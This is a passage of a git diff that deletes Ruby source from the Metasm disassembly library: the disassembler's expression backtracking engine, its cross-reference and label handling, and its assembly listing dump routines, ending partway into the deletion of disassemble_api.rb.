:real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - todo << [f_obj, f_addr, :normal, f_loopdetect + [[f_obj, f_addr, :normal]] ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if todo.length == oldlen - else - yield :unknown_addr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - end - } - - if include_start - todo << [obj, start_addr, from_subfuncret ? :subfuncret : :normal, []] - else - walk_up[obj, start_addr, []] - end - - while not todo.empty? - obj, addr, type, loopdetect = todo.pop - di = @decoded[addr] - if di and type == :subfuncret - di.block.each_to_normal { |sf| - next if not f = @function[normalize(sf)] - s_obj = yield(:func, obj, :func => f, :funcaddr => sf, :addr => addr, :loopdetect => loopdetect) - next if s_obj == false - s_obj ||= obj - if l = loopdetect.find { |l_obj, l_addr, l_type| addr == l_addr and l_type == :normal } - l_obj = yield(:loop, s_obj, :looptrace => loopdetect[loopdetect.index(l)..-1], :loopdetect => loopdetect) - if l_obj and l_obj != s_obj - s_loopdetect = loopdetect[0...loopdetect.index(l)] - end - next if l_obj == false - s_obj = l_obj if l_obj - end - s_loopdetect ||= loopdetect - todo << [s_obj, addr, :normal, s_loopdetect + [[s_obj, addr, :normal]] ] - } - elsif di - # XXX should interpolate index if di is not in block.list, but what if the addresses are not Comparable ? - di.block.list[0..(di.block.list.index(di) || -1)].reverse_each { |di_| - di = di_ # XXX not sure.. - if stopaddr and ea = di.next_addr and stopaddr.include?(ea) - yield :stopaddr, obj, :addr => ea, :loopdetect => loopdetect - break - end - ex_obj = obj - obj = yield(:di, obj, :di => di, :loopdetect => loopdetect) - break if obj == false - obj ||= ex_obj - } - walk_up[obj, di.block.address, loopdetect] if obj - elsif @function[addr] and addr != :default and addr != Expression::Unknown - ex_obj = obj - obj = yield(:func, obj, :func => @function[addr], :funcaddr => addr, :addr => addr, :loopdetect => loopdetect) - next if obj == false - obj ||= ex_obj - walk_up[obj, addr, loopdetect] - else - yield :unknown_addr, obj, :addr => addr, :loopdetect => loopdetect - end - end - end - - # iterates over all instructions of a function from a given entrypoint - # carries an object while walking, the object is yielded every instruction - # every block is walked only once, after all previous blocks are done (if possible) - # on a 'jz', a [:clone] event is yielded for every path beside the first - # on a juction (eg a -> b -> d, a -> c -> d), a [:merge] event occurs if froms have different objs - # event list: - # [:di, , , ] - # [:clone, , , ] - # [:merge, , { => , => , ...}, ] - # [:subfunc, , , ] - # all events should return an object - # :merge has a copy of object1 at the end so that uninterested callers can always return args[-1] - # if an event returns false, the trace stops for the current branch - def function_walk(addr_start, obj_start) - # addresses of instrs already seen => obj - done = {} - todo = [[addr_start, obj_start]] - - while hop = todo.pop - addr, obj = hop - next if done.has_key?(done) - - di = di_at(addr) - next if not di - - if done.empty? - dilist = di.block.list[di.block.list.index(di)..-1] - else - # new block, check all 'from' have been seen - if not hop[2] - # may retry later - all_ok = true - di.block.each_from_samefunc(self) { |fa| all_ok = false unless done.has_key?(fa) } - if not all_ok - todo.unshift([addr, obj, true]) - next - end - end - - froms = {} - di.block.each_from_samefunc(self) { |fa| froms[fa] = done[fa] if done[fa] } - if froms.values.uniq.length > 1 - obj = yield([:merge, addr, froms, froms.values.first]) - next if obj == false - end - - dilist = di.block.list - end - - if dilist.each { |_di| - break if done.has_key?(_di.address) # looped back into addr_start - done[_di.address] = obj - obj = yield([:di, _di.address, _di, obj]) - break if obj == false # also return false for the previous 'if' - } - - from = dilist.last.address - - if di.block.to_normal and di.block.to_normal[0] and - di.block.to_subfuncret and di.block.to_subfuncret[0] - # current instruction block calls into a subfunction - obj = di.block.to_normal.map { |subf| - yield([:subfunc, subf, from, obj]) - }.first # propagate 1st subfunc result - next if obj == false - end - - wantclone = false - di.block.each_to_samefunc(self) { |ta| - if wantclone - nobj = yield([:clone, ta, from, obj]) - next if obj == false - todo << [ta, nobj] - else - todo << [ta, obj] - wantclone = true - end - } - end - end - end - - # holds a backtrace result until a snapshot_addr is encountered - class StoppedExpr - attr_accessor :exprs - def initialize(e) @exprs = e end - end - - - attr_accessor :debug_backtrace - - # backtraces the value of an expression from start_addr - # updates blocks backtracked_for if type is set - # uses backtrace_walk - # all values returned are from backtrace_check_found (which may generate xrefs, labels, addrs to dasm) unless :no_check is specified - # options: - # :include_start => start backtracking including start_addr - # :from_subfuncret => - # :origin => origin to set for xrefs when resolution is successful - # :orig_expr => initial expression - # :type => xref type (:r, :w, :x, :addr) when :x, the results are added to #addrs_todo - # :len => xref len (for :r/:w) - # :snapshot_addr => addr (or array of) where the backtracker should stop - # if a snapshot_addr is given, values found are ignored if continuing the backtrace does not get to it (eg maxdepth/unk_addr/end) - # :maxdepth => maximum number of blocks to backtrace - # :detached => true if backtracking type :x and the result should not have from = origin set in @addrs_todo - # :max_complexity{_data} => maximum complexity of the expression before aborting its backtrace - # :log => Array, will be updated with the backtrace evolution - # :only_upto => backtrace only to update bt_for for current block & previous ending at only_upto - # :no_check => don't use backtrace_check_found (will not backtrace indirection static values) - # :terminals => array of symbols with constant value (stop backtracking if all symbols in the expr are terminals) (only supported with no_check) - def backtrace(expr, start_addr, nargs={}) - include_start = nargs.delete :include_start - from_subfuncret = nargs.delete :from_subfuncret - origin = nargs.delete :origin - origexpr = nargs.delete :orig_expr - type = nargs.delete :type - len = nargs.delete :len - snapshot_addr = nargs.delete(:snapshot_addr) || nargs.delete(:stopaddr) - maxdepth = nargs.delete(:maxdepth) || @backtrace_maxblocks - detached = nargs.delete :detached - max_complexity = nargs.delete(:max_complexity) || @backtrace_maxcomplexity - max_complexity_data = nargs.delete(:max_complexity) || @backtrace_maxcomplexity_data - bt_log = nargs.delete :log # array to receive the ongoing backtrace info - only_upto = nargs.delete :only_upto - no_check = nargs.delete :no_check - terminals = nargs.delete(:terminals) || [] - raise ArgumentError, "invalid argument to backtrace #{nargs.keys.inspect}" if not nargs.empty? - - expr = Expression[expr] - - origexpr = expr if origin == start_addr - - start_addr = normalize(start_addr) - di = @decoded[start_addr] - - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) -puts " not backtracking stack address #{expr}" if debug_backtrace - return [] - end - - if type == :r or type == :w - max_complexity = max_complexity_data - maxdepth = @backtrace_maxblocks_data if backtrace_maxblocks_data and maxdepth > @backtrace_maxblocks_data - end - - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - di, origin, type, len, maxdepth, detached, snapshot_addr)) - # no need to update backtracked_for - return vals - elsif maxdepth <= 0 - return [Expression::Unknown] - end - - # create initial backtracked_for - if type and origin == start_addr and di - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-1) - btt.address = di.address - btt.exclude_instr = true if not include_start - btt.from_subfuncret = true if from_subfuncret and include_start - btt.detached = true if detached - di.block.backtracked_for |= [btt] - end - - @callback_prebacktrace[] if callback_prebacktrace - - # list of Expression/Integer - result = [] - -puts "backtracking #{type} #{expr} from #{di || Expression[start_addr || 0]} for #{@decoded[origin]}" if debug_backtrace or $DEBUG - bt_log << [:start, expr, start_addr] if bt_log - backtrace_walk(expr, start_addr, include_start, from_subfuncret, snapshot_addr, maxdepth) { |ev, expr_, h| - expr = expr_ - case ev - when :unknown_addr, :maxdepth -puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= [expr] if not snapshot_addr - @addrs_todo << [expr, (detached ? nil : origin)] if not snapshot_addr and type == :x and origin - when :end - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) -puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - if expr != oldexpr and not snapshot_addr and vals = (no_check ? - (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, nil, origin, type, len, - maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - result |= vals - next - end - end -puts " backtrace end #{ev} #{expr}" if debug_backtrace - if not snapshot_addr - result |= [expr] - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - @decoded[h[:addr]].block.backtracked_for |= [btt] if @decoded[h[:addr]] - @function[h[:addr]].backtracked_for |= [btt] if @function[h[:addr]] and h[:addr] != :default - @addrs_todo << [expr, (detached ? nil : origin)] if type == :x and origin - end - when :stopaddr - if not expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:addr], expr) -puts " backtrace up #{Expression[h[:addr]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:addr], :end] if bt_log and expr != oldexpr - end -puts " backtrace end #{ev} #{expr}" if debug_backtrace - result |= ((expr.kind_of?(StoppedExpr)) ? expr.exprs : [expr]) - when :loop - next false if expr.kind_of? StoppedExpr - t = h[:looptrace] - oldexpr = t[0][0] - next false if expr == oldexpr # unmodifying loop -puts " bt loop at #{Expression[t[0][1]]}: #{oldexpr} => #{expr} (#{t.map { |z| Expression[z[1]] }.join(' <- ')})" if debug_backtrace - false - when :up - next false if only_upto and h[:to] != only_upto - next expr if expr.kind_of? StoppedExpr - oldexpr = expr - expr = backtrace_emu_blockup(h[:from], expr) -puts " backtrace up #{Expression[h[:from]]}->#{Expression[h[:to]]} #{oldexpr}#{" => #{expr}" if expr != oldexpr}" if debug_backtrace - bt_log << [:up, expr, oldexpr, h[:from], h[:to]] if bt_log - - if expr != oldexpr and vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : - backtrace_check_found(expr, @decoded[h[:from]], origin, type, len, - maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - if snapshot_addr - expr = StoppedExpr.new vals - next expr - else - result |= vals - bt_log << [:found, vals, h[:from]] if bt_log - next false - end - end - - if origin and type - # update backtracked_for - update_btf = lambda { |btf, new_btt| - # returns true if btf was modified - if i = btf.index(new_btt) - btf[i] = new_btt if btf[i].maxdepth < new_btt.maxdepth - else - btf << new_btt - end - } - - btt = BacktraceTrace.new(expr, origin, origexpr, type, len, maxdepth-h[:loopdetect].length-1) - btt.detached = true if detached - if x = di_at(h[:from]) - update_btf[x.block.backtracked_for, btt] - end - if x = @function[h[:from]] and h[:from] != :default - update_btf[x.backtracked_for, btt] - end - if x = di_at(h[:to]) - btt = btt.dup - btt.address = x.address - btt.from_subfuncret = true if h[:sfret] == :subfuncret - if backtrace_check_funcret(btt, h[:from], h[:real_to] || h[:to]) -puts " function returns to caller" if debug_backtrace - next false - end - if not update_btf[x.block.backtracked_for, btt] -puts " already backtraced" if debug_backtrace - next false - end - end - end - expr - when :di, :func - next if expr.kind_of? StoppedExpr - if not snapshot_addr and @cpu.backtrace_is_stack_address(expr) -puts " not backtracking stack address #{expr}" if debug_backtrace - next false - end - -oldexpr = expr - case ev - when :di - h[:addr] = h[:di].address - expr = backtrace_emu_instr(h[:di], expr) - bt_log << [ev, expr, oldexpr, h[:di], h[:addr]] if bt_log and expr != oldexpr - when :func - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, origin, maxdepth-h[:loopdetect].length) - if snapshot_addr and snapshot_addr == h[:funcaddr] - # XXX recursiveness detection needs to be fixed -puts " backtrace: recursive function #{Expression[h[:funcaddr]]}" if debug_backtrace - next false - end - bt_log << [ev, expr, oldexpr, h[:funcaddr], h[:addr]] if bt_log and expr != oldexpr - end -puts " backtrace #{h[:di] || Expression[h[:funcaddr]]} #{oldexpr} => #{expr}" if debug_backtrace and expr != oldexpr - if vals = (no_check ? (!need_backtrace(expr, terminals) and [expr]) : backtrace_check_found(expr, - h[:di], origin, type, len, maxdepth-h[:loopdetect].length, detached, snapshot_addr)) - if snapshot_addr - expr = StoppedExpr.new vals - else - result |= vals - bt_log << [:found, vals, h[:addr]] if bt_log - next false - end - elsif expr.complexity > max_complexity -puts " backtrace aborting, expr too complex" if debug_backtrace - next false - end - expr - else raise ev.inspect - end - } - -puts ' backtrace result: ' + result.map { |r| Expression[r] }.join(', ') if debug_backtrace - - result - end - - # checks if the BacktraceTrace is a call to a known subfunction - # returns true and updates self.addrs_todo - def backtrace_check_funcret(btt, funcaddr, instraddr) - if di = @decoded[instraddr] and @function[funcaddr] and btt.type == :x and - not btt.from_subfuncret and - @cpu.backtrace_is_function_return(btt.expr, @decoded[btt.origin]) and - retaddr = backtrace_emu_instr(di, btt.expr) and - not need_backtrace(retaddr) -puts " backtrace addrs_todo << #{Expression[retaddr]} from #{di} (funcret)" if debug_backtrace - di.block.add_to_subfuncret normalize(retaddr) - if @decoded[funcaddr].kind_of? DecodedInstruction - # check that all callers :saveip returns (eg recursive call that was resolved - # before we found funcaddr was a function) - @decoded[funcaddr].block.each_from_normal { |fm| - if fdi = di_at(fm) and fdi.opcode.props[:saveip] and not fdi.block.to_subfuncret - backtrace_check_funcret(btt, funcaddr, fm) - end - } - end - if not @function[funcaddr].finalized - # the function is not fully disassembled: arrange for the retaddr to be - # disassembled only after the subfunction is finished - # for that we walk the code from the call, mark each block start, and insert the sfret - # just before the 1st function block address in @addrs_todo (which is pop()ed by dasm_step) - faddrlist = [] - todo = [] - di.block.each_to_normal { |t| todo << normalize(t) } - while a = todo.pop - next if faddrlist.include? a or not get_section_at(a) - faddrlist << a - if @decoded[a].kind_of? DecodedInstruction - @decoded[a].block.each_to_samefunc(self) { |t| todo << normalize(t) } - end - end - - idx = @addrs_todo.index(@addrs_todo.find { |r, i, sfr| faddrlist.include? normalize(r) }) || -1 - @addrs_todo.insert(idx, [retaddr, instraddr, true]) - else - @addrs_todo << [retaddr, instraddr, true] - end - true - end - end - - # applies one decodedinstruction to an expression - def backtrace_emu_instr(di, expr) - @cpu.backtrace_emu(di, expr) - end - - # applies one subfunction to an expression - def backtrace_emu_subfunc(func, funcaddr, calladdr, expr, origin, maxdepth) - bind = func.get_backtrace_binding(self, funcaddr, calladdr, expr, origin, maxdepth) - Expression[expr.bind(bind).reduce] - end - - # applies a location binding - def backtrace_emu_blockup(addr, expr) - (ab = @address_binding[addr]) ? Expression[expr.bind(ab).reduce] : expr - end - - def backtrace_update_function_binding(addr, func=@function[addr], retaddrs=func.return_address) - @cpu.backtrace_update_function_binding(self, addr, func, retaddrs) - end - - # static resolution of indirections - def resolve(expr) - binding = Expression[expr].expr_indirections.inject(@old_prog_binding) { |binding_, ind| - e = get_edata_at(resolve(ind.target)) - return expr if not e - binding_.merge ind => Expression[ e.decode_imm("u#{8*ind.len}".to_sym, @cpu.endianness) ] - } - Expression[expr].bind(binding).reduce - end - - # returns true if the expression needs more backtrace - # it checks for the presence of a symbol (not :unknown), which means it depends on some register value - def need_backtrace(expr, terminals=[]) - return if expr.kind_of? ::Integer - !(expr.externals.grep(::Symbol) - [:unknown] - terminals).empty? - end - - # returns an array of expressions, or nil if expr needs more backtrace - # it needs more backtrace if expr.externals include a Symbol != :unknown (symbol == register value) - # if it need no more backtrace, expr's indirections are recursively resolved - # xrefs are created, and di args are updated (immediate => label) - # if type is :x, addrs_todo is updated, and if di starts a block, expr is checked to see if it may be a subfunction return value - # - # expr indirection are solved by first finding the value of the pointer, and then rebacktracking for write-type access - # detached is true if type is :x and from should not be set in addrs_todo (indirect call flow, eg external function callback) - # if the backtrace ends pre entrypoint, returns the value encoded in the raw binary - # XXX global variable (modified by another function), exported data, multithreaded app.. - # TODO handle memory aliasing (mov ebx, eax ; write [ebx] ; read [eax]) - # TODO trace expr evolution through backtrace, to modify immediates to an expr involving label names - # TODO mov [ptr], imm ; <...> ; jmp [ptr] => rename imm as loc_XX - # eg. mov eax, 42 ; add eax, 4 ; jmp eax => mov eax, some_label-4 - def backtrace_check_found(expr, di, origin, type, len, maxdepth, detached, snapshot_addr=nil) - # only entrypoints or block starts called by a :saveip are checked for being a function - # want to execute [esp] from a block start - if type == :x and di and di == di.block.list.first and @cpu.backtrace_is_function_return(expr, @decoded[origin]) and ( - # which is an entrypoint.. - (not di.block.from_normal and not di.block.from_subfuncret) or - # ..or called from a saveip - (bool = false ; di.block.each_from_normal { |fn| bool = true if @decoded[fn] and @decoded[fn].opcode.props[:saveip] } ; bool)) - - # now we can mark the current address a function start - # the actual return address will be found later (we tell the caller to continue the backtrace) - addr = di.address - l = auto_label_at(addr, 'sub', 'loc', 'xref') - if not f = @function[addr] - f = @function[addr] = DecodedFunction.new - puts "found new function #{l} at #{Expression[addr]}" if $VERBOSE - end - f.finalized = false - - if @decoded[origin] - f.return_address ||= [] - f.return_address |= [origin] - @decoded[origin].add_comment "endsub #{l}" - # TODO add_xref (to update the comment on rename_label) - end - - f.backtracked_for |= @decoded[addr].block.backtracked_for.find_all { |btt| not btt.address } - end - - return if need_backtrace(expr) - if snapshot_addr - return if expr.expr_externals(true).find { |ee| ee.kind_of?(Indirection) } - end - -puts "backtrace #{type} found #{expr} from #{di} orig #{@decoded[origin] || Expression[origin] if origin}" if debug_backtrace - result = backtrace_value(expr, maxdepth) - # keep the ori pointer in the results to emulate volatile memory (eg decompiler prefers this) - #result << expr if not type # XXX returning multiple values for nothing is too confusing, TODO fix decompiler - result.uniq! - - # create xrefs/labels - result.each { |e| - backtrace_found_result(e, di, type, origin, len, detached) - } if type and origin - - result - end - - # returns an array of expressions with Indirections resolved (recursive with backtrace_indirection) - def backtrace_value(expr, maxdepth) - # array of expression with all indirections resolved - result = [Expression[expr.reduce]] - - # solve each indirection sequentially, clone expr for each value (aka cross-product) - result.first.expr_indirections.uniq.each { |i| - next_result = [] - backtrace_indirection(i, maxdepth).each { |rr| - next_result |= result.map { |e| Expression[e.bind(i => rr).reduce] } - } - result = next_result - } - - result.uniq - end - - # returns the array of values pointed by the indirection at its invocation (ind.origin) - # first resolves the pointer using backtrace_value, if it does not point in edata keep the original pointer - # then backtraces from ind.origin until it finds an :w xref origin - # if no :w access is found, returns the value encoded in the raw section data - # TODO handle unaligned (partial?) writes - def backtrace_indirection(ind, maxdepth) - if not ind.origin - puts "backtrace_ind: no origin for #{ind}" if $VERBOSE - return [ind] - end - - ret = [] - - decode_imm = lambda { |addr, len| - edata = get_edata_at(addr) - if edata - Expression[ edata.decode_imm("u#{8*len}".to_sym, @cpu.endianness) ] - else - Expression::Unknown - end - } - - # resolve pointers (they may include Indirections) - backtrace_value(ind.target, maxdepth).each { |ptr| - # find write xrefs to the ptr - refs = [] - each_xref(ptr, :w) { |x| - # XXX should be rebacktracked on new xref - next if not @decoded[x.origin] - refs |= [x.origin] - } if ptr != Expression::Unknown - - if refs.empty? - if get_section_at(ptr) - # static data, newer written : return encoded value - ret |= [decode_imm[ptr, ind.len]] - next - else - # unknown pointer : backtrace the indirection, hope it solves itself - initval = ind - end - else - # wait until we find a write xref, then backtrace the written value - initval = true - end - - # wait until we arrive at an xref'ing instruction, then backtrace the written value - backtrace_walk(initval, ind.origin, true, false, nil, maxdepth-1) { |ev, expr, h| - case ev - when :unknown_addr, :maxdepth, :stopaddr -puts " backtrace_indirection for #{ind.target} failed: #{ev}" if debug_backtrace - ret |= [Expression::Unknown] - when :end - if not refs.empty? and (expr == true or not need_backtrace(expr)) - if expr == true - # found a path avoiding the :w xrefs, read the encoded initial value - ret |= [decode_imm[ptr, ind.len]] - else - bd = expr.expr_indirections.inject({}) { |h_, i| h_.update i => decode_imm[i.target, i.len] } - ret |= [Expression[expr.bind(bd).reduce]] - end - else - # unknown pointer, backtrace did not resolve... - ret |= [Expression::Unknown] - end - when :di - di = h[:di] - if expr == true - next true if not refs.include? di.address - # find the expression to backtrace: assume this is the :w xref from this di - writes = get_xrefs_rw(di) - writes = writes.find_all { |x_type, x_ptr, x_len| x_type == :w and x_len == ind.len } - if writes.length != 1 - puts "backtrace_ind: incompatible xrefs to #{ptr} from #{di}" if $DEBUG - ret |= [Expression::Unknown] - next false - end - expr = Indirection.new(writes[0][1], ind.len, di.address) - end - expr = backtrace_emu_instr(di, expr) - # may have new indirections... recall bt_value ? - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - when :func - next true if expr == true # XXX - expr = backtrace_emu_subfunc(h[:func], h[:funcaddr], h[:addr], expr, ind.origin, maxdepth-h[:loopdetect].length) - #if not need_backtrace(expr) - if expr.expr_externals.all? { |e| @prog_binding[e] or @function[normalize(e)] } and expr.expr_indirections.empty? - ret |= backtrace_value(expr, maxdepth-1-h[:loopdetect].length) - false - else - expr - end - end - } - } - - ret - end - - # creates xrefs, updates addrs_todo, updates instr args - def backtrace_found_result(expr, di, type, origin, len, detached) - n = normalize(expr) - fallthrough = true if type == :x and o = di_at(origin) and not o.opcode.props[:stopexec] and n == o.block.list.last.next_addr # delay_slot - add_xref(n, Xref.new(type, origin, len)) if origin != :default and origin != Expression::Unknown and not fallthrough - unk = true if n == Expression::Unknown - - add_xref(n, Xref.new(:addr, di.address)) if di and di.address != origin and not unk - base = { nil => 'loc', 1 => 'byte', 2 => 'word', 4 => 'dword', 8 => 'qword' }[len] || 'xref' - base = 'sub' if @function[n] - n = Expression[auto_label_at(n, base, 'xref') || n] if not fallthrough - n = Expression[n] - - # update instr args - # TODO trace expression evolution to allow handling of - # mov eax, 28 ; add eax, 4 ; jmp eax - # => mov eax, (loc_xx-4) - if di and not unk and expr != n # and di.address == origin - @cpu.replace_instr_arg_immediate(di.instruction, expr, n) - end - if @decoded[origin] and not unk - @cpu.backtrace_found_result(self, @decoded[origin], expr, type, len) - end - - # add comment - if type and @decoded[origin] # and not @decoded[origin].instruction.args.include? n - @decoded[origin].add_comment "#{type}#{len}:#{n}" if not fallthrough - end - - # check if target is a string - if di and type == :r and (len == 1 or len == 2) and s = get_section_at(n) - l = s[0].inv_export[s[0].ptr] - case len - when 1; str = s[0].read(32).unpack('C*') - when 2; str = s[0].read(64).unpack('v*') - end - str = str.inject('') { |str_, c| - case c - when 0x20..0x7e, ?\n, ?\r, ?\t; str_ << c - else break str_ - end - } - if str.length >= 4 - di.add_comment "#{'L' if len == 2}#{str.inspect}" - str = 'a_' + str.downcase.delete('^a-z0-9')[0, 12] - if str.length >= 8 and l[0, 5] == 'byte_' - rename_label(l, @program.new_label(str)) - end - end - end - - # XXX all this should be done in backtrace() { } - if type == :x and origin - if detached - o = @decoded[origin] ? origin : di ? di.address : nil # lib function callback have origin == libfuncname, so we must find a block somewhere else - origin = nil - @decoded[o].block.add_to_indirect(normalize(n)) if @decoded[o] and not unk - else - @decoded[origin].block.add_to_normal(normalize(n)) if @decoded[origin] and not unk - end - @addrs_todo << [n, origin] - end - end - - def inspect - "" % object_id - end - - def to_s - a = '' - dump { |l| a << l << "\n" } - a - end - - # dumps the source, optionnally including data - # yields (defaults puts) each line - def dump(dump_data=true, &b) - b ||= lambda { |l| puts l } - @sections.sort_by { |addr, edata| addr.kind_of?(::Integer) ? addr : 0 }.each { |addr, edata| - addr = Expression[addr] if addr.kind_of? ::String - blockoffs = @decoded.values.grep(DecodedInstruction).map { |di| Expression[di.block.address, :-, addr].reduce if di.block_head? }.grep(::Integer).sort.reject { |o| o < 0 or o >= edata.length } - b[@program.dump_section_header(addr, edata)] - if not dump_data and edata.length > 16*1024 and blockoffs.empty? - b["// [#{edata.length} data bytes]"] - next - end - unk_off = 0 # last off displayed - # blocks.sort_by { |b| b.addr }.each { |b| - while unk_off < edata.length - if unk_off == blockoffs.first - blockoffs.shift - di = @decoded[addr+unk_off] - if unk_off != di.block.edata_ptr - b["\n// ------ overlap (#{unk_off-di.block.edata_ptr}) ------"] - elsif di.block.from_normal.kind_of? ::Array - b["\n"] - end - dump_block(di.block, &b) - unk_off += [di.block.bin_length, 1].max - unk_off = blockoffs.first if blockoffs.first and unk_off > blockoffs.first - else - next_off = blockoffs.first || edata.length - if dump_data or next_off - unk_off < 16 - unk_off = dump_data(addr + unk_off, edata, unk_off, &b) - else - b["// [#{next_off - unk_off} data bytes]"] - unk_off = next_off - end - end - end - } - end - - # dumps a block of decoded instructions - def dump_block(block, &b) - b ||= lambda { |l| puts l } - block = @decoded[block].block if @decoded[block] - dump_block_header(block, &b) - block.list.each { |di| b[di.show] } - end - - # shows the xrefs/labels at block start - def dump_block_header(block, &b) - b ||= lambda { |l| puts l } - xr = [] - each_xref(block.address) { |x| - case x.type - when :x; xr << Expression[x.origin] - when :r, :w; xr << "#{x.type}#{x.len}:#{Expression[x.origin]}" - end - } - if not xr.empty? - b["\n// Xrefs: #{xr[0, 8].join(' ')}#{' ...' if xr.length > 8}"] - end - if block.edata.inv_export[block.edata_ptr] and label_alias[block.address] - b["\n"] if xr.empty? - label_alias[block.address].each { |name| b["#{name}:"] } - end - if c = @comment[block.address] - c = c.join("\n") if c.kind_of? ::Array - c.each_line { |l| b["// #{l}"] } - end - end - - # dumps data/labels, honours @xrefs.len if exists - # dumps one line only - # stops on end of edata/@decoded/@xref - # returns the next offset to display - # TODO array-style data access - def dump_data(addr, edata, off, &b) - b ||= lambda { |l| puts l } - if l = edata.inv_export[off] and label_alias[addr] - l_list = label_alias[addr].sort - l = l_list.pop || l - l_list.each { |ll| - b["#{ll}:"] - } - l = (l + ' ').ljust(16) - else l = '' - end - elemlen = 1 # size of each element we dump (db by default) - dumplen = -off % 16 # number of octets to dump - dumplen = 16 if dumplen == 0 - cmt = [] - each_xref(addr) { |x| - dumplen = elemlen = x.len if x.len == 2 or x.len == 4 - cmt << " #{x.type}#{x.len}:#{Expression[x.origin]}" - } - cmt = " ; @#{Expression[addr]}" + cmt.sort[0, 6].join - if r = edata.reloc[off] - dumplen = elemlen = r.type.to_s[1..-1].to_i/8 - end - dataspec = { 1 => 'db ', 2 => 'dw ', 4 => 'dd ', 8 => 'dq ' }[elemlen] - if not dataspec - dataspec = 'db ' - elemlen = 1 - end - l << dataspec - - # dup(?) - if off >= edata.data.length - dups = edata.virtsize - off - @prog_binding.each_value { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - @xrefs.each_key { |a| - tmp = Expression[a, :-, addr].reduce - dups = tmp if tmp.kind_of? ::Integer and tmp > 0 and tmp < dups - } - dups /= elemlen - dups = 1 if dups < 1 - b[(l + "#{dups} dup(?)").ljust(48) << cmt] - return off + dups*elemlen - end - - vals = [] - edata.ptr = off - dups = dumplen/elemlen - elemsym = "u#{elemlen*8}".to_sym - while edata.ptr < edata.data.length - if vals.length > dups and vals.last != vals.first - # we have a dup(), unread the last element which is different - vals.pop - addr = Expression[addr, :-, elemlen].reduce - edata.ptr -= elemlen - break - end - break if vals.length == dups and vals.uniq.length > 1 - vals << edata.decode_imm(elemsym, @cpu.endianness) - addr += elemlen - if i = (1-elemlen..0).find { |i_| - t = addr + i_ - @xrefs[t] or @decoded[t] or edata.reloc[edata.ptr+i_] or edata.inv_export[edata.ptr+i_] - } - # i < 0 - edata.ptr += i - addr += i - break - end - break if edata.reloc[edata.ptr-elemlen] - end - - # line of repeated value => dup() - if vals.length > 8 and vals.uniq.length == 1 - b[(l << "#{vals.length} dup(#{Expression[vals.first]})").ljust(48) << cmt] - return edata.ptr - end - - # recognize strings - vals = vals.inject([]) { |vals_, value| - if (elemlen == 1 or elemlen == 2) - case value - when 0x20..0x7e, 0x0a, 0x0d - if vals_.last.kind_of? ::String; vals_.last << value ; vals_ - else vals_ << value.chr - end - else vals_ << value - end - else vals_ << value - end - } - - vals.map! { |value| - if value.kind_of? ::String - if value.length > 2 # or value == vals.first or value == vals.last # if there is no xref, don't care - value.inspect - else - value.unpack('C*').map { |c| Expression[c] } - end - else - Expression[value] - end - } - vals.flatten! - - b[(l << vals.join(', ')).ljust(48) << cmt] - - edata.ptr - end - - def decompiler - parse_c '' if not c_parser - @decompiler ||= Decompiler.new(self) - end - def decompiler=(dc) - @decompiler = dc - end - def decompile(*addr) - decompiler.decompile(*addr) - end - def decompile_func(addr) - decompiler.decompile_func(addr) - end - - # allows us to be AutoExe.loaded - def self.autoexe_load(f, &b) - d = load(f, &b) - d.program - end -end -end - -require 'metasm/disassemble_api' diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb deleted file mode 100644 index 416988a806..0000000000 --- a/lib/metasm/metasm/disassemble_api.rb +++ /dev/null @@ -1,1843 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this file compliments disassemble.rb, adding misc user-friendly methods - -module Metasm -class InstructionBlock - # adds an address to the from_normal/from_subfuncret list - def add_from(addr, type=:normal) - send "add_from_#{type}", addr - end - def add_from_normal(addr) - @from_normal ||= [] - @from_normal |= [addr] - end - def add_from_subfuncret(addr) - @from_subfuncret ||= [] - @from_subfuncret |= [addr] - end - def add_from_indirect(addr) - @from_indirect ||= [] - @from_indirect |= [addr] - end - # iterates over every from address, yields [address, type in [:normal, :subfuncret, :indirect]] - def each_from - each_from_normal { |a| yield a, :normal } - each_from_subfuncret { |a| yield a, :subfuncret } - each_from_indirect { |a| yield a, :indirect } - end - def each_from_normal(&b) - @from_normal.each(&b) if from_normal - end - def each_from_subfuncret(&b) - @from_subfuncret.each(&b) if from_subfuncret - end - def each_from_indirect(&b) - @from_indirect.each(&b) if from_indirect - end - - def add_to(addr, type=:normal) - send "add_to_#{type}", addr - end - def add_to_normal(addr) - @to_normal ||= [] - @to_normal |= [addr] - end - def add_to_subfuncret(addr) - @to_subfuncret ||= [] - @to_subfuncret |= [addr] - end - def add_to_indirect(addr) - @to_indirect ||= [] - @to_indirect |= [addr] - end - def each_to - each_to_normal { |a| yield a, :normal } - each_to_subfuncret { 